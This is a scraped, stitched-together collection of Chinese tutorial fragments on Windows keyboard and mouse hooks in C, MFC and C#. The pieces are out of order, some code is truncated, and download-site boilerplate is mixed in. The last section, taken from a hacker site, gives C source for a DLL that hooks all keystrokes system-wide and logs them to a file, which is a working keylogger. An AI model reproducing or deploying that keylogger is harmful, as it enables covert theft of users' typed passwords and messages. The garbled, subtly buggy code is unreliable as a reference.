c语言键盘钩子
C++技巧:用HOOK禁用鼠标与键盘点击

本文来自: 计算机等级论坛(/jsj/) 详细文章参考:/jsj/thread-2341-1-2.html
C++技巧:用HOOK禁用鼠标与键盘点击
HOOK, 鼠标, 技巧, 键盘
/首先定义
HWND g_hWnd; //定义一个窗口的句柄
HHOOK g_hMouse; //鼠标的钩子过程
HHOOK g_hKeyBoard; //键盘的钩子过程
/鼠标钩子过程的回调函数
LRESULT CALLBACK MouseProc( int nCode,
}
学习大VC++编程隐藏计算机中的鼠标Java下怎样屏蔽键盘和鼠标的操做通过并行机制处理鼠标和键盘鼠标一拖Vista用户文件夹全至其他分区计算机二级C技巧:VC6.0控制鼠标反方向移动C语言分析:用C语言写的鼠标驱动程序利用VisualC#编程模仿鼠标操做电脑鼠标常见毛病分析与维修技巧丢弃鼠标Windows常用五组快速键
//lParam右移29位,正好它的第二十九位在第一位上,
//得第二十九位表示了Alt键被按下
return 1;
*/
/使程序在F2键按下后退出/
if(VK_F2==wParam)
{
::SendMessage(g_hWnd,WM_CLOSE,0,0); //发送关闭消息
UnhookWindowsHookEx(g_hKeyBoard);
UnhookWindowsHookEx(g_hMouse);//移除一个已经安装的hook
//当我们本人发送消息关闭程序时,一定要记得关闭Hook
mfc 键盘hook例子

mfc 键盘hook例子MFC键盘钩子示例本示例展示了如何在 MFC 应用程序中使用键盘钩子来监视键盘输入。
创建键盘钩子1. 在 MFC 应用程序中添加一个新类,例如 `CKeyboardHook`。
2. 在 `CKeyboardHook` 类中,实现 `SetWindowsHookEx` 函数来设置键盘钩子。
此函数接收以下参数:- WH_KEYBOARD:指定要安装的钩子类型(键盘钩子)- `CKeyboardHook::HookProc`:指向钩子回调函数的指针- `GetCurrentThreadId()`:当前线程的标识符- 0:表示钩子应安装在所有线程中以下是 `SetWindowsHookEx` 函数的示例代码:```cppbool CKeyboardHook::InstallHook(){m_hHook = SetWindowsHookEx(WH_KEYBOARD, HookProc, GetCurrentThreadId(), 0);return m_hHook != NULL;}```钩子回调函数3. 实现钩子回调函数 `CKeyboardHook::HookProc`。
此函数将在每次按下或松开键盘键时调用。
4. 回调函数应接收以下参数:- `int nCode`:指定钩子代码(例如 HC_ACTION)- `WPARAM wParam`:与此钩子关联的其他信息- `LPARAM lParam`:指向包含按键信息的`KBDLLHOOKSTRUCT` 结构的指针以下是 `CKeyboardHook::HookProc` 函数的示例代码:```cppLRESULT CALLBACK CKeyboardHook::HookProc(int nCode, WPARAM wParam, LPARAM lParam){if (nCode == HC_ACTION){KBDLLHOOKSTRUCT pKeyboardInfo = (KBDLLHOOKSTRUCT)lParam;// 处理键盘输入}return CallNextHookEx(NULL, nCode, wParam, lParam);}```处理键盘输入5. 在 `CKeyboardHook::HookProc` 回调函数中,可以处理键盘输入。
VC++如何编写键盘钩子

系统钩子和DLL钩子的本质是一段用以处理系统消息的程序,通过系统调用,将其挂入系统。
钩子的种类有很多,每种钩子可以截获并处理相应的消息,每当特定的消息发出,在到达目的窗口之前,钩子程序先行截获该消息、得到对此消息的控制权。
此时在钩子函数中就可以对截获的消息进行加工处理,甚至可以强制结束消息的传递。
在本程序中我们需要捕获在任意窗口上的键盘输入,这就需要采用全局钩子以便拦截整个系统的消息,而全局钩子函数必须以DLL(动态连接库)为载体进行封装,VC6中有三种形式的MFC DLL可供选择,即Regular statically linked to MFC DLL(标准静态链接MFC DLL)、Regular using the shared MFC DLL(标准动态链接MFC DLL)以及Extension MFC DLL(扩展MFC DLL)。
在本程序中为方便起见采用了标准静态连接MFC DLL。
键盘钩子程序示例本示例程序用到全局钩子函数,程序分两部分:可执行程序KeyKook和动态连接库LaunchDLL。
首先创建一个MFC AppWizard(DLL)工程,并选择Regular statically linked to MFC DLL (标准静态链接MFC DLL)选项,以建立MFC扩展动态连接库LaunchDLL.dll。
之后,在相应的头文件中添加宏定义和待导出函数的声明:#define DllExport __declspec(dllexport)……DllExport void WINAPI InstallLaunchEv();……class CLaunchDLLApp : public CWinApp{public:CLaunchDLLApp();//{{AFX_VIRTUAL(CLaunchDLLApp)//}}AFX_VIRTUAL//{{AFX_MSG(CLaunchDLLApp)// NOTE - the ClassWizard will add and remove member functions here.// DO NOT EDIT what you see in these blocks of generated code !//}}AFX_MSGDECLARE_MESSAGE_MAP()};同时在实现文件中添加全局变量Hook和全局函数LauncherHook()、SaveLog():HHOOK Hook;LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam);void SaveLog(char* c);最后,完成以上提到的这几个函数的具体编码实现:CLaunchDLLApp theApp;……DllExport void WINAPI InstallLaunchEv(){Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)LauncherHook,theApp.m_hInst ance,0);}在此我们实现了Windows的系统钩子的安装,首先要调用SDK中的API函数SetWindowsHookEx()来安装这个钩子函数,其原型是:HHOOK SetWindowsHookEx(int idHook,HOOKPROC lpfn,HINSTANCE hMod,DWORD dwThreadId);其中,第一个参数指定钩子的类型,常用的有WH_MOUSE、WH_KEYBOARD、WH_GETMESSAGE等,在此我们只关心键盘操作所以设定为WH_KEYBOARD;第二个参数标识钩子函数的入口地址,当钩子钩到任何消息后便调用这个函数,即当不管系统的哪个窗口有键盘输入马上会引起LauncherHook的动作;第三个参数是钩子函数所在模块的句柄,我们可以很简单的设定其为本应用程序的实例句柄;最后一个参数是钩子相关函数的ID用以指定想让钩子去钩哪个线程,为0时则拦截整个系统的消息,在本程序中钩子需要为全局钩子,故设定为0。
钩子程序

WH_JOURNALPLAYBACK Hook 使应用程序可以插入消息到系统消息队列。可以使用这个 Hook 回 放通 过 使 用 WH_JOURNALRECORD Hook 记录 下 来 的 连 续 的 鼠 标 和 键 盘 事 件 。 只 要 WH_JOURNALPLAYBACK Hook 已 经 安 装 , 正 常 的 鼠 标 和 键 盘 事 件 就 是 无 效 的 。 WH_JOURNALPLAYBACK Hook 是 全 局 Hook , 它 不 能 象 线 程 特 定 Hook 一 样 使 用 。 WH_JOURNALPLAYBACK Hook 返回超时值,这个值告诉系统在处理来自回放 Hook 当前消息之前 需要等待多长时间(毫秒) 。这就使 Hook 可以控制实时事件的回放。WH_JOURNALPLAYBACK 是 system-wide local hooks,它們不會被注射到任何行程位址空間。 (估计按键精灵是用这个 hook 做的) 7、WH_JOURNALRECORD Hook WH_JOURNALRECORD Hook 用来监视和记录输入事件。典型的,可以使用这个 Hook 记录连续的 鼠标和键盘事件, 然后通过使用 WH_JOURNALPLAYBACK Hook 来回放。 WH_JOURNALRECORD Hook 是全局 Hook,它不能象线程特定 Hook 一样使用。WH_JOURNALRECORD 是 system-wide local hooks,它們不會被注射到任何行程位址空間。 8、WH_KEYBOARD Hook 在应用程序中,WH_KEYBOARD Hook 用来监视 WM_KEYDOWN and WM_KEYUP 消息,这些消息通过 GetMessage or PeekMessage function 返回。可以使用这个 Hook 来监视输入到消息队列中 的键盘消息。 9、WH_KEYBOARD_LL Hook WH_KEYBOARD_LL Hook 监视输入到线程消息队列中的键盘消息。 10、WH_MOUSE Hook WH_MOUSE Hook 监视从 GetMessage 或者 PeekMessage 函数返回的鼠标消息。使用这个 Hook 监视输入到消息队列中的鼠标消息。 11、WH_MOUSE_LL Hook WH_MOUSE_LL Hook 监视输入到线程消息队列中的鼠标消息。 12、WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks 使我们可以监视菜单,滚动条,消息框,对话框 消息并且发现用户使用 ALT+TAB or ALT+ESC 组合键切换窗口。 WH_MSGFILTER Hook 只能监视 传递到菜单,滚动条,消息框的消息,以及传递到通过安装了 Hook 子程的应用程序建立的对 话 框 的 消 息 。 WH_SYSMSGFILTER Hook 监 视 所 有 应 用 程 序 消 息 。 WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks 使我们可以在模式循环期间过滤消息,这等价于在主消息循环中过 滤消息。通过调用 CallMsgFilter function 可以直接的调用 WH_MSGFILTER Hook。通过使用 这个函数,应用程序能够在模式循环期间使用相同的代码去过滤消息,如同在主消息循环里 一样。 13、WH_SHELL Hook 外壳应用程序可以使用 WH_SHELL Hook 去接收重要的通知。当外壳应用程序是激活的并且当 顶层窗口建立或者销毁时,系统调用 WH_SHELL Hook 子程。 WH_SHELL 共有5钟情況: 1. 只要有个 top-level、unowned 窗口被产生、起作用、或是被摧毁; 2. 当 Taskbar 需要重画某个按钮; 3. 当系统需要显示关于 Taskbar 的一个程序的最小化形式; 4. 当目前的键盘布局状态改变; 5. 当使用者按 Ctrl+Esc 去执行 Task Manager(或相同级别的程序) 。 按照惯例,外壳应用程序都不接收 WH_SHELL 消息。所以,在应用程序能够接收 WH_SHELL 消 息之前,应用程序必须调用 SystemParametersInfo function 注册它自己。
C#鼠标钩子

[MethodImpl(MethodImplOptions.NoInlining)]
private void InternalHookCallback(int code, UIntPtr wparam, IntPtr lparam){
try { HookCallback(code, wparam, lparam); }
首先是提供一种机制来把一个.NET代理传递到我们的C++库。这样,我们用C++语言定义下列函数(SetUserHookCallback)和函数指针(HookProc)。
int SetUserHookCallback(HookProc userProc, UINT hookID)
typedef void (CALLBACK *HookProc)(int code, WPARAM w, LPARAM l)
protected override void Dispose(bool disposing) {
if (disposing) {
if (mouseHook != null) {
mouseHook.Dispose();
mouseHook = null;
}
// ...
一、 介绍
本文将讨论在.NET应用程序中全局系统钩子的使用。为此,我开发了一个可重用的类库并创建一个相应的示例程序(见下图)。
你可能注意到另外的关于使用系统钩子的文章。本文与之类似但是有重要的差别。这篇文章将讨论在.NET中使用全局系统钩子,而其它文章仅讨论本地系统钩子。这些思想是类似的,但是实现要求是不同的。
switch(mEvent) {
case MouseEvents.LeftButtonDown:
c语言中钩子函数和回调函数的区别

C语言中钩子函数和回调函数的区别一、定义1. 钩子函数:钩子函数是在特定事件发生时自动调用的函数,用于拦截和处理这些事件。
在C语言中,钩子函数通常用于实现操作系统的消息处理机制,比如监控键盘、鼠标等输入设备的输入事件。
2. 回调函数:回调函数是作为参数传递给其他函数的函数,用于在特定事件发生时被调用。
在C语言中,回调函数通常用于实现异步操作,比如在网络通信中接收到数据时的处理。
二、调用方式1. 钩子函数:钩子函数是由操作系统或特定的库自动调用的,程序员无法直接调用钩子函数。
2. 回调函数:回调函数是作为参数传递给其他函数的,程序员需要在调用该函数时指定回调函数的名称或指针。
三、作用范围1. 钩子函数:钩子函数对系统的事件进行拦截和处理,可以改变系统的行为。
比如在Windows操作系统中,可以使用钩子函数来拦截键盘输入,实现快捷键功能。
2. 回调函数:回调函数用于在特定事件发生时被调用,通常用于实现异步操作或事件通知。
比如在网络通信中,可以使用回调函数来处理接收到的数据。
四、编程实现1. 钩子函数:在C语言中实现钩子函数通常需要调用操作系统或特定库提供的函数,并注册钩子函数。
钩子函数的实现方式因操作系统和应用场景的不同而异。
2. 回调函数:在C语言中实现回调函数通常需要定义一个函数指针类型,并将回调函数作为参数传递给其他函数。
在特定事件发生时,其他函数会调用指定的回调函数。
以上是C语言中钩子函数和回调函数的区别,虽然它们都涉及到在特定事件发生时调用函数,但是它们的定义、调用方式、作用范围和编程实现方式都有所不同。
深入理解这两种函数的区别对于提高程序员的编程技能和理解系统底层原理是非常有帮助的。
C语言中钩子函数和回调函数的区别继续扩写:五、应用场景1. 钩子函数:钩子函数通常用于监控、拦截和处理系统事件,比如键盘输入、鼠标点击等。
在图形用户界面(GUI)编程中,钩子函数常用于实现快捷键功能、鼠标事件处理等。
【转】C#.Net鼠标和键盘全局监控勾子(hook)

【转】C#.Net鼠标和键盘全局监控勾子(hook)【转】C#.Net 鼠标和键盘全局监控勾子(hook )//C#鼠标和键盘全局监控hookusing System;using System.Runtime.InteropServices;using System.Reflection;using System.Threading;using System.Windows.Forms;using ponentModel;namespace ScreenCapyure2{public class UserActivityHook{#region Windows structure definitions[StructLayout(LayoutKind.Sequential)]private class POINT{public int x;public int y;}[StructLayout(LayoutKind.Sequential)]private class MouseHookStruct{public POINT pt;public int hwnd;public int wHitTestCode;public int dwExtraInfo;}[StructLayout(LayoutKind.Sequential)]private class MouseLLHookStruct{public POINT pt;public int mouseData;public int flags;public int time;public int dwExtraInfo;}[StructLayout(LayoutKind.Sequential)]private class KeyboardHookStruct{public int vkCode;public int scanCode;public int flags;public int time;public int dwExtraInfo;}#endregion#region Windows function imports[DllImport("user32.dll", CharSet = CharSet.Auto,CallingConvention = CallingConvention.StdCall, SetLastError = true)]private static extern int SetWindowsHookEx(int idHook,HookProc lpfn,IntPtr hMod,int dwThreadId);[DllImport("user32.dll", CharSet = CharSet.Auto,CallingConvention = CallingConvention.StdCall, SetLastError = true)]private static extern int UnhookWindowsHookEx(int idHook);[DllImport("user32.dll", CharSet = CharSet.Auto,CallingConvention = CallingConvention.StdCall)]private static extern int CallNextHookEx(int idHook,int nCode,int wParam,IntPtr lParam);private delegate int HookProc(int nCode, int wParam, IntPtr lParam);[DllImport("user32")]private static extern int ToAscii(int uVirtKey,int uScanCode,byte[] lpbKeyState,byte[] lpwTransKey,int fuState);[DllImport("user32")]private static extern int GetKeyboardState(byte[] pbKeyState);[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]private static extern short GetKeyState(int vKey);#endregion#region Windows constantsprivate const int WH_MOUSE_LL = 14;private const int WH_KEYBOARD_LL = 13;private const int WH_MOUSE = 7;private const int WH_KEYBOARD = 2;private const int WM_MOUSEMOVE = 0x200;private const int WM_LBUTTONDOWN = 0x201;private const int WM_RBUTTONDOWN = 0x204;private const int WM_MBUTTONDOWN = 0x207;private const int WM_LBUTTONUP = 0x202;private const int WM_RBUTTONUP = 0x205;private const int WM_MBUTTONUP = 0x208;private const int WM_LBUTTONDBLCLK = 0x203;private const int WM_RBUTTONDBLCLK = 0x206;private const int WM_MBUTTONDBLCLK = 0x209;private const int WM_MOUSEWHEEL = 0x020A;private const int WM_KEYDOWN = 0x100;private const int WM_KEYUP = 0x101;private const int WM_SYSKEYDOWN = 0x104;private const int WM_SYSKEYUP = 0x105;private const byte VK_SHIFT = 0x10;private const byte VK_CAPITAL = 0x14;private const byte VK_NUMLOCK = 0x90;#endregionpublic UserActivityHook(){Start();}public UserActivityHook(bool InstallMouseHook, bool InstallKeyboardHook){Start(InstallMouseHook, InstallKeyboardHook);}~UserActivityHook(){Stop(true, true, false);}public event MouseEventHandler OnMouseActivity;public event KeyEventHandler KeyDown;public event KeyPressEventHandler KeyPress;public event KeyEventHandler KeyUp;private int hMouseHook = 0;private int hKeyboardHook = 0;private static HookProc MouseHookProcedure;private static HookProc KeyboardHookProcedure;public void Start(){this.Start(true, true);}public void Start(bool InstallMouseHook, bool InstallKeyboardHook){if (hMouseHook == 0 && InstallMouseHook){MouseHookProcedure = new HookProc(MouseHookProc);hMouseHook = SetWindowsHookEx(WH_MOUSE_LL,MouseHookProcedure,Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()[0]),0);if (hMouseHook == 0){int errorCode = Marshal.GetLastWin32Error();Stop(true, false, false);try{ throw new Win32Exception(errorCode); }catch{ }}}if (hKeyboardHook == 0 && InstallKeyboardHook){KeyboardHookProcedure = new HookProc(KeyboardHookProc);hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL,KeyboardHookProcedure,Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()[0]),0);if (hKeyboardHook == 0){int errorCode = Marshal.GetLastWin32Error();Stop(false, true, false);try{throw new Win32Exception(errorCode);}catch { }}}}public void Stop(){this.Stop(true, true, true);}public void Stop(bool UninstallMouseHook, bool UninstallKeyboardHook, bool ThrowExceptions){if (hMouseHook != 0 && UninstallMouseHook){int retMouse = UnhookWindowsHookEx(hMouseHook);hMouseHook = 0;if (retMouse == 0 && ThrowExceptions){int errorCode = Marshal.GetLastWin32Error();throw new Win32Exception(errorCode);}}if (hKeyboardHook != 0 && UninstallKeyboardHook){int retKeyboard = UnhookWindowsHookEx(hKeyboardHook);hKeyboardHook = 0;if (retKeyboard == 0 && ThrowExceptions){int errorCode = Marshal.GetLastWin32Error();throw new Win32Exception(errorCode);}}}private int MouseHookProc(int nCode, int wParam, IntPtr lParam){if ((nCode >= 0) && (OnMouseActivity != null)){MouseLLHookStruct mouseHookStruct = (MouseLLHookStruct)Marshal.PtrToStructure(lParam,typeof(MouseLLHookStruct));MouseButtons button = MouseButtons.None;short mouseDelta = 0;switch (wParam){case WM_LBUTTONDOWN:button = MouseButtons.Left;break;case WM_RBUTTONDOWN:button = MouseButtons.Right;break;case WM_MOUSEWHEEL:mouseDelta = (short)((mouseHookStruct.mouseData >> 16) & 0xffff);break;}int clickCount = 0;if (button != MouseButtons.None)if (wParam == WM_LBUTTONDBLCLK || wParam == WM_RBUTTONDBLCLK) clickCount = 2;else clickCount = 1;MouseEventArgs e = new MouseEventArgs(button,clickCount,mouseHookStruct.pt.x,mouseHookStruct.pt.y,mouseDelta);OnMouseActivity(this, e);}return CallNextHookEx(hMouseHook, nCode, wParam, lParam);}private int KeyboardHookProc(int nCode, Int32 wParam, IntPtr lParam){bool handled = false;if ((nCode >= 0) && (KeyDown != null || KeyUp != null || KeyPress != null)){KeyboardHookStruct MyKeyboardHookStruct = (KeyboardHookStruct)Marshal.PtrToStructure(lParam,typeof(KeyboardHookStruct));if (KeyDown != null && (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN)){Keys keyData = (Keys)MyKeyboardHookStruct.vkCode;KeyEventArgs e = new KeyEventArgs(keyData);KeyDown(this, e);handled = handled || e.Handled;}if (KeyPress != null && wParam == WM_KEYDOWN){bool isDownShift = ((GetKeyState(VK_SHIFT) & 0x80) == 0x80 ? true : false);bool isDownCapslock = (GetKeyState(VK_CAPITAL) != 0 ? true : false);byte[] keyState = new byte[256];GetKeyboardState(keyState);byte[] inBuffer = new byte[2];if (ToAscii(MyKeyboardHookStruct.vkCode,MyKeyboardHookStruct.scanCode,keyState,inBuffer,MyKeyboardHookStruct.flags) == 1){char key = (char)inBuffer[0];if ((isDownCapslock ^ isDownShift) && Char.IsLetter(key)) key = Char.T oUpper(key);KeyPressEventArgs e = new KeyPressEventArgs(key);KeyPress(this, e);handled = handled || e.Handled;}}if (KeyUp != null && (wParam == WM_KEYUP || wParam == WM_SYSKEYUP)){Keys keyData = (Keys)MyKeyboardHookStruct.vkCode;KeyEventArgs e = new KeyEventArgs(keyData);KeyUp(this, e);handled = handled || e.Handled;}}if (handled)return 1;elsereturn CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);}}}//////////////////////可以把以上程序单独存为一个文件如:SC.CS;然后在项目里“添加现有项”找到该文件记住引用using ScreenCapyure2;//以下为在窗体中监视事件//本程序调试不起作用,运行时才起作用UserActivityHook choosesc;choosesc = new UserActivityHook();choosesc.OnMouseActivity += new MouseEventHandler(choose_OnMouseActivity);choosesc.KeyDown += new KeyEventHandler(MyKeyDown);choosesc.KeyPress += new KeyPressEventHandler(MyKeyPress);choosesc.KeyUp += new KeyEventHandler(MyKeyUp);//上面部分写到 InitializeComponent()后面public void MyKeyDown(object sender, KeyEventArgs e){}public void MyKeyPress(object sender, KeyPressEventArgs e) {}public void MyKeyUp(object sender, KeyEventArgs e){}private void choose_OnMouseActivity(object sender, MouseEventArgs e){if (e.Clicks > 0){if ((MouseButtons)(e.Button) == MouseButtons.Left){point[0] = e.Location;}if ((MouseButtons)(e.Button) == MouseButtons.Right){point[1] = e.Location;}}//throw new Exception("The method or operation is not implemented.");}。
钩子原理

[转]钩子原理钩子原理Windows系统是建立在事件驱动的机制上的,说穿了就是整个系统都是通过消息的传递来实现的。
而钩子是Windows系统中非常重要的系统接口,用它可以截获并处理送给其他应用程序的消息,来完成普通应用程序难以实现的功能。
钩子可以监视系统或进程中的各种事件消息,截获发往目标窗口的消息并进行处理。
这样,我们就可以在系统中安装自定义的钩子,监视系统中特定事件的发生,完成特定的功能,比如截获键盘、鼠标的输入,屏幕取词,日志监视等等。
可见,利用钩子可以实现许多特殊而有用的功能。
因此,对于高级编程人员来说,掌握钩子的编程方法是很有必要的。
钩子的本质是一段用以处理系统消息的程序,通过系统调用,将其挂入系统。
钩子的种类有很多,每种钩子可以截获并处理相应的消息,每当特定的消息发出,在到达目的窗口之前,钩子程序先行截获该消息、得到对此消息的控制权。
此时在钩子函数中就可以对截获的消息进行加工处理,甚至可以强制结束消息的传递。
在本程序中我们需要捕获在任意窗口上的键盘输入,这就需要采用全局钩子以便拦截整个系统的消息,而全局钩子函数必须以DLL(动态连接库)为载体进行封装,VC6中有三种形式的MFC DLL可供选择,即Regular statically linked to MFC DLL(标准静态链接MFC DLL)、Regular using the shared MFC DLL(标准动态链接MFC DLL)以及Extension MFC DLL(扩展MFC DLL)。
在本程序中为方便起见采用了标准静态连接MFC DLL。
钩子的类型一.按事件分类,有如下的几种常用类型(1)键盘钩子和低级键盘钩子可以监视各种键盘消息。
(2)鼠标钩子和低级鼠标钩子可以监视各种鼠标消息。
(3)外壳钩子可以监视各种Shell事件消息。
比如启动和关闭应用程序。
(4)日志钩子可以记录从系统消息队列中取出的各种事件消息。
(5)窗口过程钩子监视所有从系统消息队列发往目标窗口的消息。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
//时间:2008年9月9日0:54:39
//博客:/zaroty
///////////////////////////////////
#define DLLEXPORT __declspec(dllexport)
DLLEXPORT BOOL StartHook();
}
DLLEXPORT BOOL StartHook()
{
CuhHook=SetWindowsHookEx(WH_KEYBOARD_LL,LowLevelKeyboardProc,g_hModule,0);
if (CuhHook!=NULL)
{
return 1;
}
else
{
return 0;
}
}
DLLEXPORT BOOL StopHook()
struct VKeyInfo vkey[]=
{
AddVKey(0x30, "0"),
AddVKey(0x31, "1"),
AddVKey(0x32, "2"),
AddVKey(0x33, "3"),
AddVKey(0x34, "4"),
AddVKey(0x35, "5"),
AddVKey(0x36, "6"),
#define _WIN32_WINNT 0x0500 //底层钩子需要设置系统版本号
#include <windows.h>
#include <stdio.h>
#include "keyhook.h"
#include "vKey.h"
HHOOK CuhHook=NULL;
HANDLE g_hModule;
case DLL_PROCESS_DETACH:
g_hModule=NULL;
break;
}
return TRUE;
}
LRESULT CALLBACK LowLevelKeyboardProc(
int nCode,
WPARAM wParam,
LPARAM lParam
)
{
KBDLLHOOKSTRUCT* pStruct = (KBDLLHOOKSTRUCT*)lParam;
BOOL APIENTRY DllMain(HANDLE hModule, DWORD dwReason, void* lpReserved)
{
switch(dwReason)
{
case DLL_PROCESS_ATTACH:
g_hModule = (HINSTANCE)hModule;
break;
{ቤተ መጻሕፍቲ ባይዱ
if (UnhookWindowsHookEx(CuhHook))
{
return 1;
}
else
{
return 0;
}
}
==========================
////////////////////////////////////
//keyhook.h
//作用:DLL头文件,声明导出的函数
AddVKey(0x37, "7"),
AddVKey(0x38, "8"),
AddVKey(0x39, "9"),
AddVKey(0x3A, "Undefined"),
AddVKey(0x3B, "Undefined"),
//省略。。。。。。。。
}
LPCSTR GetKeyName(USHORT VKey)
////////////////////////////////////
//keyhook.c
//作用:DLL主文件
//作者:zaroty
//时间:2008年9月9日0:54:39
//博客:/zaroty
///////////////////////////////////
在开始贴这段垃圾代码以前,先给大家道个歉,也先扇自己一巴掌。本来说好昨天把代码搞好的,谁知道还没开始整,就过了12点了,食言了。
代码还没有怎么写好,先把关键代码粘贴出来,等今天晚上把代码整理好,功能完善了再修改这个文章,顺便把写程序的过程、遇到的问题以及关键思路写出来。
下面是DLL的关键代码(C语言编写,考虑DLL的兼容性):
{
int i;
for(i = 0; i<sizeof(vkey); i++)
{
if(VKey == vkey[i].VKey)
return vkey[i].VKname;
}
}
本文转自:黑客武林()详细出处参考:/stu/sort094/sort0109/15819.html
LPCSTR log=GetKeyName(pStruct->vkCode);
if (wParam==WM_KEYDOWN)
{
FILE *fl=fopen("C:\\FUCK.TXT","a+");
fprintf(fl,"%s",log);
fclose(fl);
}
return CallNextHookEx( CuhHook, nCode, wParam, lParam );
DLLEXPORT BOOL StopHook();
还有一个文件是vkey.h,包含了virtual-key code与ASCII的转换
大体内容为:
struct VKeyInfo{
USHORT VKey;
LPCSTR VKname;
};
#define AddVKey(VK, VKName) {(VK), (VKName)}